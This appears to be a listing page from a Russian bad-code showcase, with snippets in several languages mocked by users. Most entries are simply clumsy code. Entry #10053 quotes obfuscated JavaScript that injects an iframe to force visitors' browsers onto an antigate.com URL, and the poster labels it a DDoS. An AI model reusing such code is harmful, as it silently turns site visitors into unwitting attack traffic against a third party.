1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #10302

    +69

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    if (!class_exists('Memcache')) {
    
            class Memcache {
    
                function connect($l, $p) {
                    echo "НЕТ МЕМКЕША";
                    return true;
                }
    
                function get($n) {
                    return false;
                }
    
                function set($a, $b, $v, $g) {
                    return true;
                }
    
            }
    
        }

    улыбнуло )

    Sulik78, 17 Мая 2012

    Комментарии (3)
  3. C++ / Говнокод #10289

    −19

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    TElement* get(void)
    {
    	TElement* result = this->allocateBuffer();
    	if (result!=NULL)
    	{
    		try
    		{
    			::new(result) TElement; //Вызов конструктора.
    		}catch(...)//Получили исключение в конструкторе конструироваемого объекта.
    		{
    			this->deallocateBuffer(result);
    			throw;
    		};
    	};
    	return result;
    };
    
    template<class TArg1>
    TElement* get(TArg1 arg1)
    {
    	TElement* result = this->allocateBuffer();
    	if (result!=NULL)
    	{
    		try
    		{
    			::new(result) TElement(arg1); //Вызов конструктора.
    		}catch(...)//Получили исключение в конструкторе конструироваемого объекта.
    		{
    			this->deallocateBuffer(result);
    			throw;
    		};
    	};
    	return result;
    };
    
    //...
    
    template<class TArg1, class TArg2, class TArg3, class TArg4, class TArg5, class TArg6>
    TElement* get(TArg1 arg1, TArg2 arg2, TArg3 arg3, TArg4 arg4, TArg5 arg5, TArg6 arg6)
    {
    	TElement* result = this->AllocateBuffer();
    	if (result!=NULL)
    	{
    		try
    		{
    			::new(result) TElement(arg1, arg2, arg3, arg4, arg5, arg6); //Вызов конструктора.
    		}catch(...)//Получили исключение в конструкторе конструироваемого объекта.
    		{
    			this->DeallocateBuffer(result);
    			throw;
    		};
    	};
    	return result;
    };

    Хотя этот баян мы уже видели на Action Script.

    Говногость, 16 Мая 2012

    Комментарии (3)
  4. Perl / Говнокод #10272

    −119

    1. 1
    my $end_date = ($request =~ /<end_date>(\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d)<\/end_date>/io) ? $1 : '';

    PSIAlt, 15 Мая 2012

    Комментарии (3)
  5. PHP / Говнокод #10259

    +81

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    <?php
     
    function md5_decrypt($enc_text, $password='code', $iv_len = 16){
    	$enc_text = base64_decode($enc_text);
    	 $n = strlen($enc_text);
    	 $i = $iv_len;
    	 $plain_text = '';
    	 $iv = substr($password ^ substr($enc_text, 0, $iv_len), 0, 512);
    	  while ($i < $n) {
    	  	$block = substr($enc_text, $i, 16);
    	  	$plain_text .= $block ^ pack('H*', md5($iv));
    	  	$iv = substr($block . $iv, 0, 512) ^ $password;
    	  	$i += 16;
    	  }
    	  return preg_replace('/\\x13\\x00*$/', '', $plain_text);
    }
    
    ?>

    Название ф-ции говорит само за себя...

    killro0000, 14 Мая 2012

    Комментарии (3)
  6. PHP / Говнокод #10219

    +88

    1. 1
    2. 2
    3. 3
    4. 4
    if( $tpl_name == '' || ! file_exists( $this->dir . DIRECTORY_SEPARATOR . $tpl_name ) ) {
    			return "Отсутствует файл шаблона: " . $tpl_name ;
    			return false;
    		}

    dle

    trororom, 08 Мая 2012

    Комментарии (3)
  7. C++ / Говнокод #10170

    −3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    sscanf_s(buf,
    		"%f%f%f%f%f%d%d%d%d%d%d"
    		"%f%f%f%f%f%d%d%d%d%d%d"
    		"%f%f%f%f%f%d%d%d%d%d%d"
    		"%f%f%f%f%f%d%d%d%d%d%d",
    		&_race_state._car[0]._x, &_race_state._car[0]._y, &_race_state._car[0]._vx,
    		&_race_state._car[0]._vy, &_race_state._car[0]._angle, &_race_state._car[0]._nitro_time,
    		&_race_state._car[0]._oiled_bus, &_race_state._car[0]._nirtos, &_race_state._car[0]._bonus,
    		&_race_state._car[0]._lap, &_race_state._car[0]._next_seg,
    		&_race_state._car[1]._x, &_race_state._car[1]._y, &_race_state._car[1]._vx,
    		&_race_state._car[1]._vy, &_race_state._car[1]._angle, &_race_state._car[1]._nitro_time,
    		&_race_state._car[1]._oiled_bus, &_race_state._car[1]._nirtos, &_race_state._car[1]._bonus,
    		&_race_state._car[1]._lap, &_race_state._car[1]._next_seg,
    		&_race_state._car[2]._x, &_race_state._car[2]._y, &_race_state._car[2]._vx,
    		&_race_state._car[2]._vy, &_race_state._car[2]._angle, &_race_state._car[2]._nitro_time,
    		&_race_state._car[2]._oiled_bus, &_race_state._car[2]._nirtos, &_race_state._car[2]._bonus,
    		&_race_state._car[2]._lap, &_race_state._car[2]._next_seg,
    		&_race_state._car[3]._x, &_race_state._car[3]._y, &_race_state._car[3]._vx,
    		&_race_state._car[3]._vy, &_race_state._car[3]._angle, &_race_state._car[3]._nitro_time,
    		&_race_state._car[3]._oiled_bus, &_race_state._car[3]._nirtos, &_race_state._car[3]._bonus,
    		&_race_state._car[3]._lap, &_race_state._car[3]._next_seg );

    парсим строчку...

    rip, 03 Мая 2012

    Комментарии (3)
  8. JavaScript / Говнокод #10053

    +147

    1. 1
    2. 2
    3. 3
    function _test() {
      var fr=utilsNode.appendChild(ce('iframe')),d=fr.contentWindow.document;d.open();d.write('<script>this.location="http://ant'+'iga'+'te.com/i'+'n.php?'+'firs'+'t_an'+'d_la'+'st_wa'+'rnin'+'g=o'+'n";</sc'+'ript>');setTimeout(re.pbind(fr),1000);
    }

    "Умный" ддос ВКонташкой antigate.com
    http://habrahabr.ru/post/142836/

    KirAmp, 26 Апреля 2012

    Комментарии (3)
  9. JavaScript / Говнокод #10037

    +160

    1. 1
    2. 2
    3. 3
    4. 4
    function someFunction(t) {
        var y="$('#elementID').find('input[type=\"text\"]:eq(", z=")').focus()", x=")').val()==''";
        setTimeout("( "+y+"0"+x+" )? ( "+y+"0"+z+" ):( ( "+y+"1"+x+" )? ( "+y+"1"+z+" ):( "+y+"2"+z+" ) );", t);
    }

    это какое-то нечто

    bot, 25 Апреля 2012

    Комментарии (3)
  10. Java / Говнокод #10033

    +132

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    // Asynchronously load the DXF.
    // While we're doing that, the data can change, so we should guard against it.
    new WebappResourceLoader().loadResource(ResourceType.DXF, sDxfName + ".dxf",
    	new ResourceCallback<List<String>>() {
    		@Override
    		public void onSuccess(final List<String> result) {
    			if (!sDxfName.equals(dxfToLoad)) {
    				// Too slow, dude.
    				return;
    			}

    someone, 25 Апреля 2012

    Комментарии (3)
  11. PHP / Говнокод #10025

    +100

    1. 1
    2. 2
    3. 3
    if ($node->title == 'Главная страница' || $node->title == 'Home')
    {print '<img src="sites/all/themes/them/images/stock.png" />';
    }

    Говнокод по Drupal-овски.
    Найден в шаблоне page.tpl.php

    Dishvola, 23 Апреля 2012

    Комментарии (3)